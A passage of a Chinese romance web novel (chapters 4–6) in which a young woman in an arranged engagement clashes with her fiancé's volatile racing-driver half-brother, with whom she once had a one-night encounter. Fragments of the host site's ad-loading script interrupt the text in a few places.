书本封面有褶皱,纸张微微泛黄,放在书架上久了,腌了木质的味道,闷闷的。 她叹息一声打开,翻页的动静轻而易举填满了书房的每一个角落。 是发生在湘西山林的民间故事,说是一条很诡异的路,天黑之后不能走,会碰到奇怪的东西。 “哪有奇怪的东西,我都没见过。”黎向浠开始拆台。 她看到那条路有好多个人经过,之后没了踪影,有一个老爷爷去查看,看见树上飘着好几个影子的时候,后方传来书架滑动的声响,活动门打开的声音。 黎向浠身子定住,想到刚刚自己的话,她瞬间起了鸡皮疙瘩。。 不会这么灵吧?真从书里出来了? 黎向浠合上书,放到额头,小声碎碎念:“别别别,我开玩笑的。” 她虽然看过很多这类故事,去密室鬼屋也永远在当“前排坦克”,但真要碰上也会害怕。 听着皮鞋踩在木质地板的脚步声,咔哒咔哒地朝她靠近,黎向浠咽了咽口水,闭眼,在胸前画了个十字。 脚步声越来越近。 她卷起书本,当做是武器,正准备转身甩过去,后方却率先响起一阵阴冷的问候:“是你?” 黎向浠的手停在半空,打了个冷颤。 - 4. 叫错他 黎向浠回头。 男人穿着黑色夹克工装裤,皮肤白到发光,刚刚的脚步是他那双黑靴子发出来的。书房的灯光很亮,他站在那,挺拔的身姿却带着厚重的阴影。 家里闯进一个陌生男人,还是睡过的陌生男人,这比看见鬼还可怕。 黎向浠后退撞桌角处,一阵刺痛,疼得呲牙。 男人却还在一脸冷漠盯着她。 她想要喊,他率先压低声音狠着说了句“闭嘴。” 只是简单两个字,黎向浠觉得有一把刀抵在她脖颈上那样,她迅速抿嘴,硬生生把话咽回去。 直到院子传来车子启动的声音,院子铁门关上的声音,确认沈推凡离开,男人视线里紧绷的弦松下来,黎向浠才敢解放呼吸。 她咽了咽口水,小声问:“你怎么会在这里?” 她不知道自己为什么要降低音量,似乎是因为他看上去很凶。 “这是我家。”他语气很硬。 黎向浠看了看他,又看一看后方的隔间,书架推开,里面有个密室类的房子,不大,黑漆漆的。 沈推凡刚刚没有带她去那里,还真是他家。 黎向浠尴尬笑了笑。 “你会说话。”他用的陈述句,像是审判,把她的笑容审判回去,一时间张不开嘴去解释。 男人朝她走来,居高临下,宽厚的肩膀像是一堵墙,压迫得吓人。 距离越近,黎向浠的眼神就越不安。那晚灯光比现在亮,他们距离比现在深,她总是无意间想起他健硕的身材,他的腹肌,和他腹肌下方那雄壮…… 耳垂发烫得厉害,黎向浠抵在桌子旁,无处可退,只能别过脸。 他站在一步之遥的位置,将现金扔到桌子上。 599块,那张五十人民币的左上角染了黑色。 黎向浠还在思考怎么解释,头顶传来沉沉又讥讽的声音:“我不做生意,嫂子。” 嫂子。 黎向浠脑子炸开。 她看过很多段子,比如网恋对象是二姨,约P对象是小舅,看的时候她笑得多厉害,现在她就有多想死。 如果沈推凡知道这件事,向家知道这件事,黎蔓怎么办。 喉咙堵着一股不当人的情绪,黎向浠指尖互相扣着,尴尬咳嗽一声,硬着头皮说:“别……别这么喊……你哥哥自己也那样说的,还没有结婚,我就不算是你嫂子,我们就算那…样了…我也不算……” 或许是她话语带到那晚的场景,男人坚定不移的眼神有了起伏,眼神瞥向了另一边。 黎向浠居然从一张冷漠的脸上,看到了渺小甚微的……羞涩? 只有简单地一下,但却让黎向浠看到了希望,这个男人有可以攻破的缝隙。 两秒的尴尬后,她尽可能冷静地商量,手却在两个人之间无措徘徊,“既然知道我们是这样的关系,那就当什么也没发生,以后打面罩的时间还长,我们正常相处,可……以吗?” 她小心翼翼看过去,男人耳垂微微泛红,表情却还是不打算和她商量的样子。 黎向浠带着知错的笑容,“首先,我那天用手语是怕你不搭理我,毕竟你也知道自己很抢手,我不这样,怎么会让你注意到我呢。” 一边说,一边用手比划男人的身段。 这样的谈判方式是黎蔓教她的,把责任用夸奖的方式甩出去,会让对方更容易接受一些。 或许是听够了这种夸赞,这招对这个男人没用,他纹丝不动,反而用一种看小丑的眼神看她。 黎向浠皱了皱鼻子,从睡觉的尴尬,变成马屁拍错腿的尴尬。 她破罐子破摔,“婚姻是爱情的坟墓,我还没有谈过恋爱就结婚,也算是我的坟墓,所以我才那样的,我只是希望在结婚前谈一场,或者有过一次好的体验,当然,你那天给我的体验很好……” “不过我发誓,我那天根本就没看见什么,你也知道,我们当时……” 当时都不在状态。 气氛有些微妙,黎向浠也没敢再说下去,眼神却不自觉落到他脖子上,伤痕早已不见踪影。 他眼神转回来,将她视线落点抓了个正着,转瞬即逝的羞涩不见了,语气反而更不屑,“不是没看见?” 又一个谎言被拆穿,黎向浠瞳孔慌乱逃跑,她吸了吸鼻子,小声嘟囔:“事情都发生了……而且我也不知道会是这个情况……” “还是你觉得钱不够?我那个时候没有更多现……金。”黎向浠说这句话的时候,他眼神像是一把刀,要把她劈开那样。 她声音弱下去,像蚊子声一样补了句:“但你能不能当做什么都没有发生啊……” 他没有回答。 两人就这样僵持,黎向浠不抱希望地垂头。 老宅绿化好,夏季尾巴,蚊子依旧猖狂,无人说话,气氛沉沉,嗡嗡的声音是唯一自由的存在。 黎向浠的心地跌下去,她已经在思考,沈推凡知道以后的解决办法了。 她打算让沈推凡也去找一个,这样就公平了,不用被退婚。 直到头顶传来另一个蚊子声,“嗯。” 黎向浠仰头,漏出大难不死的笑容。 或许是没有更好的解决办法,他表情有些勉强,但又不屑地补一句,“下次不要被我抓到。” 话里有话,他还是觉得她不忠诚,对他哥哥不忠诚。 黎向浠知道,在他心里,她已经是一个满嘴谎话的嫂子形象了。只是,这样的态度让黎向浠想起向应天。 “你放心,我是绝对不会出轨的,我最讨厌出轨,很讨厌,超级讨厌。”黎向浠把对向应天行为的厌恶,带进了这句话里,眼神真挚。 却换回男人一声冷笑,“随你。” “我的出现,不要让沈推凡知道,还有,你,搬出去。”他转身往门口走。 黎向浠跨一步堵住他,问:“为什么?不是说要和平共处?” 男人瞥一眼,绕过她。 黎向浠又去堵住。 一来二去,男人眉间烦躁的情绪大了些,他伸出右手,黎向浠以为他要动手,下意识缩了缩肩膀和脖子。 他只是用两只手指,很嫌弃地捏着她的袖子,将她拉到一边,走出去。 “你去哪里啊?这里不是你的家吗?”黎向浠小碎步跟上去问,试图拉近关系。 毕竟,如果他也住在这里,她就不会没有人说话了,况且,他以后还得叫她一声嫂子。 他没有回答,快步下楼梯,黎向浠也加快脚步追过去。 “现在出去很晚了,你吃饭了吗?” 男人:…… “你晚上回来吗?这个房子很大,我自己住很无聊的。” “那你搬走。” “不,你搬回来住,我们可以聊天天。” “别总想那些事。” “我指的不是那方面,这个房子太大,离市区又远,周围没有人,太安静……” 黎向浠一顿噼里啪啦,直到门口,男人突然停下,黎向浠差点撞上去,一歪身子躲过去,又趔趄撞到门上。 他转身,一个警告的眼神,黎向浠就安静沾着门板。 见她老实了,他走向那辆黑色连号跑车。 原来机场F1是他。 黎向浠觉得意外,这张没有表情的脸,怎么会踩下那样热情的油门。 然后黎向浠得出结论,要她保密他住在这里,是怕他哥哥沈推凡知道后,不让他去飙车了。 看不出,还是个怕哥哥的好弟弟。 “你叫什么名字总能告诉我吧?我都答应帮你保密了。”她站在门槛上喊。 “裴非。”男人冷冷扔了两个字,上车离开。 “沈裴非。”黎向浠看着车尾灯,这样重复一遍。 - 翌日,清晨第一缕阳光撒下来之前,雷打不动的生物钟让黎向浠准时睁眼。 那个沈裴非一晚没回来。 黎向浠走去厨房,冰箱是空的,锅碗瓢盆放在柜子里,染了重重的木质味道,灶台未沾油滴,连调料都没有。 黎向浠打车出门,在周边逛了一圈,摸清这里的构造。 出别墅区再步行半个小时左右,有一个小超市,里面柴米油盐都有卖。旁边还有小菜市场,去早了能买到新鲜蔬菜。 再往前几百米有个大商场,不算高档,玻璃微微泛黄,有些年头了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但不影响逛街看电影吃饭。 黎向浠去了一趟超市和花店,提着几大袋“战利品”回到别墅。 蔬菜水果和冰淇淋堆满冰箱,调料整齐摆放到灶台上。买回来的向日葵,一瓶摆到客厅,一瓶摆到用餐台。 然后找了半天工具,去院子修剪花草树木。 百无聊赖的生活持续到两天后,黎向浠等来在京北的第一个周末,又可以约朋友见面了。 “浠浠,我晚上加一个小时班,跟方统说过了,你晚上先过去找他。”倪婷给她发语音。 倪婷是黎向浠去特殊教育学校认识的志愿者姐姐,比黎向浠大五岁,长得古典温婉,一头柔顺长发,很照顾她,大学毕业在京北发展,也在京北结婚落户了。 “好,我跟方统聊一聊。” 黎向浠回复完倪婷,瘫在沙发给方统打了个微信视频。 方统是她们在特殊教育学校的朋友,不会说话,听力偏弱,性格阳光,家境不错,也落户京北了。 两人对着镜头有一茬没一茬比划,从以前聊到现在,又聊到未来的打算。 直到院子里响起熟悉的引擎声,黎向浠才跟方统说了再见。 裴非从门口进来,眼神快速掠过干净的庭院,桌上的向日葵,带过沙发上时,速度放慢了。 黎向浠盘坐在那,双腿纤细修长,皮肤白皙细腻,头发乌黑浓密,双手捧着一本恐怖小说,一副懒散的模样,见他进来,小脸立刻从书上挪出来,两只眼睛又大又闪,像是会说话那样。 裴非不否认黎向浠长得不错,从清吧看见她开始,他就这样认为。 但这不能成为沈推凡擅自使用他家的理由。 “我让你搬走。”他眼神从她腿上挪开,语气依旧不太好。 黎向浠起身往裴非方向走,卷起的裙摆沿着她腿部滑落。 “你吃过午餐了吗?晚上要在家吃吗?我给你弄吧?我买了好多东西,如果你不出去的话,不过我今晚要出去,你可能得自己吃了。” 黎向浠并不介意他的赶客,好不容易碰到一个能讲话的,她巴不得他多说一些。 对她的长篇大问,裴非不给表情,直径往二楼走去。 黎向浠小碎步跟在后面,锲而不舍,“你说话呀,别不好意思,我厨艺虽然不好,但黎蔓好歹也夸过我呢。” 裴非停在二楼走廊尽头的房间门前,转头,“黎蔓是谁?” 见这招有用,黎向浠立刻喜笑颜开,“我妈妈,我妈妈叫黎蔓,她长得可漂亮了,我的头发就是遗传她的,看!” 她一边说一边用手甩着发尾。 裴非觉得这人有病,话太多,而且前言不搭后语。他不耐烦地转身推门。 黎向浠愣住,随即扬起嘴角,“原来沈推凡上次不让我进这个房间,是因为你啊,你们兄弟感情真好!” 她发自内心感叹。却不知道哪句话惹了他,关门的刹那,黎向浠看见他的表情,像是要杀了她那样凶狠。 嘭的一声,走廊又独留黎向浠孤零零的身影,她嘴角耷拉下来,手机恰好收到方统的信息: 【今晚,去迎香里清吧。】 - 门的另一边,房子陈设简单,桌子,柜子,床,还有一排冠军奖杯,再无其他。 干干净净,一尘不染。 桌子前,裴非坐在椅子上,手里娴熟把玩着蝴蝶刀,余光锋利偏向门口,似乎把外面那个女人当成了敌人。 手机响起,来电显示,许子炀。 他转眼,放到耳边,“说。” “哥们儿落地了,晚上老地方,迎香里。本来我想哥几个喝,杨余瑞偏要带上他最近追的一女的。”许子炀语气轻快,话也很多。 裴非手里的蝴蝶刀速度加快,余光又不耐烦地飘向门口一番。 许子炀停了一会儿,补一句,“你莫名其妙退役这件事,我今晚就不唠叨了,但你回国大半个月,进我车队当顾问,跟大家也算兄弟,到时候收着点性子,别甩脸色了。” 裴非没回答地挂断,将手机扔到桌面。 右手一抬,蝴蝶刀飞出去,刺在一张五个人的全家福上,划破沈推凡的脸。 - 5. 惹怒他 晚上八点,迎香里。 黎向浠穿着简单宽大的T恤,下/身消失术,露出纤细白皙的双腿,头发微卷,淡淡的妆容让五官多了几分精致度。 方统坐在吧台处,喝着一杯青色的鸡尾酒,黎向浠走过去拍拍他肩膀,比划:好久不见。 方统一米八左右,有干净利落的鬓角,见到黎向浠,立刻扬起嘴角,打量了一下夸赞:你今天很漂亮。 黎向浠:谢谢。 方统提前给她点了饮料,称不知道她能不能喝酒,所以擅自做主点了没有酒精的。 黎向浠连连竖起大拇指,告知他干得不错。 两人一来一回交流,很是投机,没一会儿倪婷便来了电话,说在离他们两条街的餐厅订了位置,是门口露天的,很适合晚上吹风,要他们过去。 与此同时,二楼观景台,一双薄长眼睛里,漆黑如墨的瞳孔带着冰冷的眸光,寸步不离落在女生喋喋不休的手上。 观景台上,七八个公子哥坐在一起,浮夸的二郎腿能占据半个沙发,烟雾缭绕,谈天说地。 许子炀和他们侃侃而谈这次观赛的感悟,说哪个车队拿了个好成绩,说过程有多惊心动魄,一个个举起酒杯呼喊。 裴非指腹夹烟,黑色衣服融进沙发,冷白皮在一众喧嚣里越发冰冷,白烟在眼前缭绕,他从热闹的氛围抽离,觑向一楼吧台处,两个用手语沟通的男女身上,眸光深邃。 他们的聊天内容,他看得清清楚楚。 那个男人夸黎向浠行动能力很强,小时候约着去爬山,大家因为觉得累都爽约不去,只有黎向浠一个人完成了。 又夸黎向浠长大变漂亮了,话也变多了,他记得她以前不怎么说话来着,宁可用手语都不爱开口,现在怎么觉得嘴巴停不下来。 …… 紧接着,男人结账,黎向浠跟在他后面,一前一后出门。 脑子闪过半个月前的场景,裴非手指蜷了蜷。 许子炀往裴非旁边挪,扬着下巴说:“哥们儿这次出国居然碰见沈推凡了,你猜他在做什么?” 裴非没回答,掐掉烟起身。 “哎,去哪?”许子炀拉着他,给他使眼神:下午说好的,给点面子。 裴非掠了他一眼,“出去一下。” 戴上鸭舌帽,转身离开。 后面的人见他这样离开,嘴角带起一股不屑的笑容,这人永远独来独往,喝酒也不说话,他们觉得裴非是在仗着赛车成绩玩高傲,一个个早就藏着一股气。 许子炀给他们打哈哈,“估计是有什么急事,马上就回来了,他就这样,别管他。” “谁不知道你这位冠军宝贝脾气火爆,哪还敢有怨言。”杨余瑞一脸痞气打趣,要不是许子炀叮嘱照顾裴非,他早就甩脸色了。 “去你的,都是兄弟,可别在他跟前说这个。”许子炀扔了他一把瓜子,看向裴非离开的方向。 周末时间,街道的行人翻了个倍,裴非跟在一男一女身后走了两条街,他们并没有发现,还在一路比划聊天。 似乎是为了走近道,他们绕进巷子里,裴非跟进去。 巷子很短,用不了一分钟就能出去,而巷子外面,会直接通向一家酒店。 裴非站在原地,帽子压得很低,灯光被挡住,在脸上留下深深的阴影,薄长的眼睛里,眸光骇人。 巷子出口,黎向浠正和方统比划着,突然,一个身形高大的男人,带着一股不友善的气息挡在她跟前。 黎向浠吓得“啊!”了一声,连连往后退步。 方统立刻牵住黎向浠手腕,拉到身后,警惕盯向来人。 巷子人不多,三个人莫名其妙的对峙,并没有引来行人的注意。 男人帽子戴得很低,露出的下半张脸白皙好看,但并不好亲近。 他没有讲话,只是站着,比方统高了半个头,站在他们跟前,带着强烈的压迫感,并不打算让路。 看清楚这人是裴非,黎向浠拍着胸口松了口气,帽子底下阴影很重,她并没有发现他眼神里的阴鸷。 黎向浠扬起嘴角和裴非比划:晚上好裴非! 又赶紧和方统解释:没事,这是我朋友! 她以为裴非是因为偶遇,要和她打招呼。 方统看看裴非,又看看黎向浠,比划:没事吗? 显然,方统看出来,就算认识,裴非的表情也不友善。 黎向浠跟方统点头,眼神带着期待跟裴非比划:他是我的好朋友,你刚刚是看见我,要过来和我打招呼的吗?那你要跟我们一起吗? 她的习惯,一般有方统这类朋友在场,她会全程用手语,以前有这类朋友在场的时候,大家都看得懂,况且她知道裴非也看得懂。 尽管那双眼神闪着天真,在黑夜里有着无法抗拒的吸引力,裴非却只是睨着她不愿意张开的唇角,双眼微微眯起,像是随时准备拆穿一个谎言那样。 这间隙,方统和裴非打招呼,裴非并没有回应,他不相信他们是朋友,毕竟这和山城那一幕重合度过高。 巷子有风吹出来,带着寒意,吹回黎向浠的理智。碎发被吹到脸上,她用手指勾走,扯了扯嘴角挤出笑容朝方统比划:你先过去吧,我待会儿去找你们。 方统让她快一些,临走前还和裴非比划,要他也一起去。 裴非的眼神还是独独落在她身上,像是看不见方统那样。 等方统离开,黎向浠嘴角落下去,朋友没有得到善意对待,她第一次在裴非跟前漏出不开心的表情,好看的杏眼垂着,乌瞳里满是无奈。 “你误会了,不是你想象的那样,方统真的不会讲话。”黎向浠指着倪婷的方向,“他是我的好朋友,我们跟另一个女生约了晚饭,就在后面。” 裴非转头,眉头轻轻皱了一下。 马路对面,露天餐厅帐篷底下,刚刚的男人走到露天餐厅围栏里面,坐到一个长发及腰的女人对面,他们热情比划着好久不见,聊着对方的改变。 似乎,他们喜欢用这种方式交流。 真的是个误会。 裴非垂下眼皮,冷漠的脸上浮现细微的歉意,但转瞬即逝。 因为黎向浠又补了一句,“况且,我跟沈推凡还没订婚,即使是真的,这也是我的自由。” 裴非眸色转深,他回首,冷冰冰说:“所以你还是会出轨。” 裴非并不介意沈推凡会婚姻不幸,毕竟沈推凡的生死,他不会干涉,但他骨子里对背叛和不忠的厌恶,让他单纯地想干涉黎向浠的行为。 只是,莫须有的猜测和下定义让黎向浠联想到黎蔓和向应天,怒火像烟花被点燃,在眼底炸开。 她凑近了些裴非,盯着他说:“你一定要把我往坏的方面想吗?方统不会说话,但我的手语却是他教的,当初骗你的理由我已经解释过了,信不信由你,你不是也会手语吗?那刚刚看见我们呆在一起,有说过分的话吗?” “如果你还不信,那我可以保证,跟你哥领证之后,我绝对不会做什么不忠的事情,我此生最讨厌,最痛恨就是不清不白的感情。” 她有些激动,眼角泛红。 男人也看出来了,所以眼神松动。 裴非想,至少刚刚对她的朋友,他不应该那样。 他垂眸,落在她紧握的手上,小小的拳头居然用力到关节泛白,她好像很生气。 裴非喉头滚动,薄唇张了又关,他极少碰到这样的场景,道歉的话像是麦芽糖,死死沾在嗓子里,怎么都不出来。 他没有几个朋友,所以从小到大都没说过几次对不起。 裴非准备拿出手机,要打字。 黎向浠火气更大了,她觉得这个时候玩手机是对她脾气的视而不见,明明她的语气把愤怒表达得很明显了,裴非这是目中无人。 鼻腔冷哼一声,黎向浠冷嘲热讽说:“你要实在闲得慌,那就找点别的事情做,比如去大街上撒钱,不要盯着自己嫂子看了,沈小少爷。” 像是炸药的开关,裴非眼睛蹭地一下凶狠,抱歉的情绪抛得一干二净。 沈裴非? 裴非眼底闪过不可置信,像是在给她最后一次机会那样,拧眉问:“你刚刚,叫我什么?” 裴非所有的语气都是冰冷的,所以这句话,黎向浠理解为,他听出来她在嘲讽他是闲着没事干的公子哥,然后不开心。 黎向浠有些过瘾,因为惹怒他,她觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得帮朋友扳回一局。 索性,她还要惹他,“我叫你沈小公子,沈小少爷,还要听吗?被人养得太好了,不知道什么叫礼貌了吗?沈裴非?” 话落,黎向浠发现,这个沈裴非的眼里,带着下午那道一晃而过的仇恨,他压身走来,宽厚的肩膀像是一堵围墙,将她圈在狂风暴雨里面,怒气高涨,要把她活活淹死还不停息。 黎向浠有些害怕,她不自觉看了一眼周围的环境,没有灯光,没有路人,似乎还是监控死角,在这里和一个一米九的男人发生冲突,并不是明智的选择。 她散开紧握的拳头,强撑着说了一句“我要去聚餐了”,拔腿要走,又被裴非拉回来,抵在墙上。 巷口灯光昏暗,裴非原本流畅的下颚线附近,有明显的后槽牙痕迹,像是狮子的獠牙,黎向浠背后冒汗,却不敢做声。 她听到自己有些颤抖的呼吸,还有裴非握拳时,关节发出的嘎吱声,比打雷还要响。 “你……你要打我吗?”黎向浠贴着墙,盯着他的拳头。 因为生气,他手背青筋突起,爬向紧实的手臂,隐匿到黑色的衣袖里,裴非很白,就算光线暗,黎向浠还是看见它们清晰的纹路,冷冷的淡青色,却激动得鼓囊囊,和他此刻的脾气一样,要爆炸了。 黎向浠咽了咽口水,看向裴非,“是你先惹……” 嘭- 扎实的一拳,打在她耳边的墙上,打散她要说的话。很响,带过一阵风,抚起她碎发,挂在卷翘的睫毛上。 黎向浠分不出来打颤的那一下,是墙,还是她的身体。如果那个拳头是落在她脸上,后果不敢设想。 来不及闭眼,黎向浠就这样直直迎上裴非薄长的眼睛,裴非皮肤太白了,这样近的距离,巷子没有灯光,却成了他黑暗的剪影,她能清晰看见他脸上的表情。 他的眼白爬上许多红血丝,像是月圆之约失去意识的困兽,只剩凶残。 黎向浠不敢开口,她攥着衣角,掌心冒汗。 裴非的呼吸很急,胸口猛烈起伏,似乎在调节。黎向浠不敢打扰他,她闭上眼,像砧板上一块死掉的鱼肉,没有反抗的欲望。 她想,偏偏这个时候,巷子里里外外一个路人都没有,只有远处车子不太明显的引擎声。 裴非的呼吸就这样在她耳朵内放大,她感受到了捕猎者蛰伏时候沸腾的血液,滚烫又无情。 看着胸口紧紧靠着墙壁的女人,那张小脸吓得刷白,唇线紧闭,似乎很害怕,裴非咬着牙,松开拳头。 总不能真的给她一拳。 他收回被墙刮伤了的右手,声音沉沉说:“首先,我不姓沈。其次,搬出老宅,马上。” 裴非转身走进巷子,抽出一支烟,咬在唇角,像是吞噬掉不高兴的情绪那样,狠狠吸了一口,隐匿到黑暗中。 黎向浠睁眼时,已经看不到裴非了,她惊魂未定,拍了拍脸颊,确认自己有没有受伤。 裴非刚刚好像真的要打到她了。 明明是裴非先误会她的,误会她不是好女人,可她只是叫错他的名字,却被他那样凶,很不公平,黎向浠瘪着嘴,眼睛酸酸的。 不欢而散后,黎向浠心情不好,连带聚餐时也兴致不高。 饭后是倪婷开车送她回老宅的。她没有和别人说向家沈家的事,倪婷也没问,只是将她送回来就走了。 似乎要下雨,天空云朵很重,没有星星和月亮,院子里的灯光很弱,这会儿就显得更无力了。 黎向浠走进去,脚步顿住。 冤家路窄。 她又看到了那辆黑色布加迪,它停在树底下,如同黑夜里一只恶狼,拳头的声音还在耳边萦绕,黎向浠身子颤了颤。 风很大,吹得她的T恤印出她单薄的身子,吹得树叶呜呜作响,黎向浠抬眼,天空的乌云堆积,月亮被挡得更深,院子也更黑了。 黎向浠没有进房子,就站在院中等着,她知道裴非绝对不会跟她住在一起,所以他会出来。 不一会儿,裴非走进黑夜里,帽檐下的脸沉如冰块,像是没看见她那样要越过去。 黎向浠鼓起勇气,伸手拦住他。 “裴非。” - 6. 误会他 裴非没有回答。 黎向浠壮着胆子,伸手拦在他跟前,仰头,郑重说:“叫错你的名字,我跟你道歉,对不起。但误会我的事情,你也要跟我道歉,这样才算两清,否则我是不会原谅你的。” 光线晦涩,人只有模糊的轮廓,但黎向浠还是看见了裴非从未低垂下来过的眼神,他一直没有看她,很不屑。 “谁在乎?”裴非扔了一句,往旁边绕过去。 黎向浠转身跟上,“你不能这样没有礼貌,沈推凡是你哥哥,那我以后也会是你的嫂子,我……” 她还想说,裴非却停下脚步。 他又攥起拳头,手臂的青筋似乎充满了怒气,呼之欲出,黎向浠想,她好像又说错话了。 “好,我不说了,你别生气了。”她小声嘟囔。 裴非沉下肩膀,走到车边。 黎向浠追到副驾驶,脸颊倔强,“反正我是不会搬出去的,你别想赶我走。” “由不得你。” 布加迪的轰鸣声让宅子短暂热闹了一会儿,又快速陷入沉寂,风声更大了。 黎向浠慢慢蹲下,抱着膝盖,她咬着牙不让自己哭出来。 她试图找别的东西转移注意力,但院子空荡荡,没有任何生命体。 低头,黎向浠看见了搬家的蚂蚁,一个接一个,密密麻麻,匆匆忙忙,好热闹。 黎向浠有些羡慕,她开口和它们聊起来: “蚂蚁,怎么办?我不能走,为了妈妈,我要跟沈推凡结婚才行。” “但那个裴非,他好像很讨厌我,而且不讲道理。这次,他不跟我道歉,我是不会再跟他说一句话的。” - 翌日正午,Y12赛车队培训基地休息室,男人一身黑躺在单人床上,一只手枕在后脑勺,鸭舌帽盖住脸,帽沿处隐约透出优越的下颌线。 门推开,许子炀拉了一张电竞椅坐到床边,将帽子拿开,“你昨晚是威风了,一去不返,杨余瑞等的妹子也没来,他现在正怀疑是你拐跑那个女生,在那骂你呢。” 后面这句是许子炀编的,但杨余瑞把气都撒在裴非身上是真的。 杨余瑞是车队主力,裴非来了之后正事不干,许子炀还一天天哄着,供他像是上佛,队里都传杨余瑞这镇队之宝风头要没了。所以杨余瑞基本没给过裴非好脸色。 裴非不为所动,眼睛都不睁,“哦。” 许子炀拿他没办法。 他跟裴非认识十年了,裴非这“怎样都行,又怎样都不行”的性子,他太了解了,简单来说,就是看心情。 “不过,听说我出国之后,你一直住在这里,那两栋别墅你不去我可以理解,怎么连老宅你都不要了?” 两栋别墅是沈家和裴家送给他的,各一栋,碍于裴非的身份,他们不会靠近别墅,所以裴非不用担心会被发现已经回国了。 但在裴非仅有的回国次数里,只去老宅住过,裴非跟许子炀提过一嘴,他很小的时候在老宅住过几个月。 “猫。”裴非冷冷回。 许子炀疑惑地“啊?”了一声,“老宅有猫?赶走不就好了。” 裴非:“正在赶。” 许子炀:“实在不行我帮你赶走?” 裴非:“不用。” 许子炀:“还是你被挠了一次害怕了?” 裴非:“滚。” 许子炀:……吃炸药了。 无语间隙,许子炀手机响了,一接听,杨余瑞不屑的声音传来,“你的大宝贝呢?来,比一比,谁赢,拉力赛谁上。” 许子炀揉着眉毛,头疼,“不是,又不只一个名额,你发什么疯?” 下一场拉力赛,Y12车队拥有3辆赛车参赛。 “况且,裴非也不……” 许子炀想说裴非也不会参加比赛了,他这次进车队,就是单纯当顾问的。 但话到嘴边,手机被裴非一把抢过去,“去训练场。” 训练场。 烈日当空,光线灼心,蜿蜒盘绕的路段上,两辆赛车像是两只猎豹,你追我赶,纠缠了许久,不分伯仲。 倒数第二个弯道,黑红色车辆突然转变路线,娴熟过弯,越过一直阻拦的蓝白色车辆,带着引擎的轰鸣声飞过终点。 另一辆车被超了之后,最后一个弯道时突然大减速,带着颓败感慢慢朝前一辆赛车挪动靠近。 裴非走下来,黑色帽沿底下是没有表情的脸,走向出口。 “喂!”杨余瑞站在车旁喊。 许子炀在裴非后方给杨余瑞双手合十,要他可快点闭嘴,别待会儿闹翻了。 杨余瑞:“我输了,拉力赛你上。” “不。”裴非干脆拒绝。 杨余瑞收起往日跋扈的表情,走到裴非跟前,“那这样,今晚我请客,男子汉大丈夫,输了就是输了,我认,F1的冠军确实厉害,赏个脸?” 晚上12点,KTV。 桌上瓶瓶罐罐空了一大半,车队一帮人喝了快三个小时,男男女女凑在一起玩游戏,还有几个喝多的对着麦克风鬼哭狼嚎,烟雾缭绕,空气里混着酒精。 沙发中央,杨余瑞有些上头,脸颊泛红跟许子炀胡言乱语,说着这几年他比赛哪一场可惜了,差点拿了冠军,许子炀敷衍应着。 裴非坐在沙发侧边,双腿随意交叠,指腹夹烟,指尖捻着酒杯,眼神没有目的落在地板上。 他在思考,要怎样在不被发现的情况下,把家里的那只猫赶走。 门被人推开,走进来一位长发女生,紧身的一字肩短裙,细高跟,尽管车队队友都喝大了,也还是会忍不住抬眼看一看她。 尤其是杨余瑞,他像是酒醒了那样,开心挥手:“馨欣!这里!” 又用肩膀撞着许子炀,“她就是我追的女生,向馨欣,好不容易答应过来了,你配合我一点。” 许子炀瞥了一眼,点点头,往裴非那边挪,让出向馨欣的位置。 之前在酒会上,许子炀跟向馨欣打过几次面罩,况且京北豪门里的事,许子炀还是偶尔能听到风声,但裴非不一样,回国的次数屈指可数,别说京北了,光是沈家的人,他都没认全。 许子炀用膝盖碰了碰裴非,小声说:“她是沈推凡未婚妻。” 裴非想和许子炀说他见过那个烦人精了,结果发现来的女生不是老宅那个,又一副不在乎的样子,闭上眼。 再管这些破事,他就是狗。 向馨欣坐到杨余瑞旁边,杨余瑞就跟个舔狗一样哄她,给她倒酒,喂她水果,还问她饿不饿要吃什么。 向馨欣回应得不冷不热,面子也算给足了。 没一会儿,杨余瑞被人喊走,向馨欣挪了个位置,和许子炀打招呼,“子炀哥好巧啊!居然在这里碰到你!” “是挺巧,”许子炀笑着,指向杨余瑞八卦打趣,“妹妹这是……婚前出来找热闹?” 向馨欣笑开怀,“哪有,我现在可是自由之身。” 许子炀给她鼓掌庆祝,又好奇问:“怎么?你们谁悔婚了?” 向馨欣:“我爸的私生女嫁过去,没我什么事儿了。” 裴非蓦然睁眼。 “她刚来京北,连沈推凡是谁都不懂,也没地方住。结果沈推凡直接带走,细心照顾着呢。私生女而已,嫁去沈家也算飞黄腾达,以后过上好日子了,我们是双赢。”向馨欣开心说。 她又一副门当户对的模样八卦道:“不过这个身份,沈推凡应该很熟悉,毕竟传闻沈家也有一个从不露面的私生子……” “哎喝酒喝酒!”许子炀打断向馨欣,余光看向裴非。 裴非只是盯着桌子上的花,这让他想起某株向日葵,难怪沈推凡把她放到老宅,物以类聚,人也要以群分。 心底的歉意像是加速生长的藤蔓,裴非将杯子里的酒一饮而尽,空杯扔到桌子上,猛地吸了一口烟,吐出大片白雾,淹没掉深邃的五官。 “她好看吗?”许子炀转走私生子的话题。 向馨欣思索一番,点了点自己的脸蛋,“一般,没有我好看。” 裴非目光穿过白烟,简短落在向馨欣脸上,又挪开。 他不认同她的说法。 这一眼被向馨欣撞见了,她越过许子炀,伸手,“你好,我叫向馨欣。” 裴非将烟头弹进烟灰缸,撞开她的手,离席。 - 趁着上午阳光温和,黎向浠去超市买菜,她习惯走过去,因为这样比较浪费时间,沿途还会遇到遛狗的,她能说上几句话,解解闷。 黎向浠在超市货架看见了山城的火锅底料,她在那停了十来分钟,想到以前黎蔓也会给她弄火锅吃,比去店里便宜许多,黎蔓在超市打工,晚上能带回来打折的菜,还有论斤卖的肉丸,可好吃了。 黎向浠拿了两包放到推车里,但她没有买下火锅的材料,因为一个人吃,她怕自己会哭出来,她已经很久没有哭了。 小时候她爱哭,去学校总哭,黎蔓就骗她说:“你一哭,妈妈干活的时候就心慌慌的,你一笑,妈妈就觉得浑身舒坦。” 所以黎蔓出事之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后,黎向浠就不哭了,那样黎蔓能舒坦些。 购物结束,已经临近正午。 抱着一大袋米面零食,黎向浠慢吞吞走在返回老宅的路上,太阳很大,黎向浠额头直冒汗。 